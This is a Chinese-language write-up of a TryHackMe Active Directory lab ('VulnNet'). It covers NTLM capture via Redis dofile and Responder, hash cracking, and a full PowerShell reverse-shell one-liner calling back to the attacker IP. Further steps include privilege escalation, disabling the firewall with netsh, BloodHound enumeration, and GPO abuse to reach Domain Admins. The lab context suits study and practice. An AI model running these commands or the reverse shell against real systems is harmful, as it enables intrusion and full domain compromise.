VulnNet Entertainment在他们以前的网络中遇到了不好的时光,该网络遭受了多次破坏。现在,他们移动了整个基础架构,并再次聘请您作为核心渗透测试人员。您的目标是获得对系统的完全访问权限并破坏域。
这应该是我在thm打的最后一个中等难度的域渗透房间了,因为剩下的ad渗透都是定位:难 的房间
经验之谈:非官方的单域渗透靶机往往都有卡死、非常卡的问题,遇到不对劲直接重启靶机就完事了
循例 nmap
使用enum4linux:
enum4linux -a 10.10.134.253
这里能看到域名, 但不完整
再使用crackmapexec:
vulnnet.local
smb这里也没东西
在上面的端口扫描结果中有一个亮眼的端口就是6379,nmap显示这是redis
成功连上
但我目前对redis还较为薄弱,thm上有一个redis房间,过段时间再去看看
通过搜索引擎能够找到有关redis读取文件的文章:
NTLM回传攻击在thm的域渗透教程中都是有教过的
通过这个命令能够进行文件读取,由于这里是在域内,思路就是利用这个点,然后访问攻击者开启的薄弱smb服务,然后redis这里就会去尝试进行ntlm身份验证,而攻击者也将获取该账户的ntlm hash
这个思路应该是没有问题的,来尝试一下
使用responder开启服务:
responder -I tun0
redis执行文件读取:
redis-cli -h 10.10.254.117 eval "dofile('//10.14.39.48//hack')" 0
使用haiti帮助我们快速找到hashcat的类型值
hashcat直接爆
现在我们有了一组初始凭据,做的第一件事当然是回去smb看看有没有什么信息
在Enterprise-Share里发现一个powershell脚本
从这个文件名PurgeIrrelevantData和其内容,很容易能猜测到这可能是个定时脚本
我们可以尝试利用其来reverse shell,payload:
$client = New-Object System.Net.Sockets.TCPClient('10.14.39.48',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
nc监听
getshell
看到该账户有个SeImpersonatePrivilege
直接上msf
一键开启rdp
dc这里是有防火墙拦截,所以先把防火墙关了
netsh advfirewall set allprofiles state off
将我们的账户加入本地管理员组,同时进入rdp
查看administrator账户,我们会发现它是LA和DA
虽然我们现在已经彻底拿下了这个DC,但我希望能借此为数不多的域渗透靶机来练习thm所教导的知识,在这里,我将练习sharphound
先开启smbserver
目标连接
跑sharphound
通过刚刚打开的smbserver将扫描结果传回
开启neo4j
neo4j console
启动bloodhound,并将zip丢进去
我们利用路径搜索,从我们当前的账户到Domain Admins组有这么一条路径
我们发现我们当前账户有权对security-pol这个gpo进行修改
那么我们将利用它
在rdp中打开mmc
在用户配置->控制面板设置 新建即时任务
将我们的账户添加到DA组
弄好之后使用gpupdate /force强制立即更新组策略
此时,我们已经是DA
游戏结束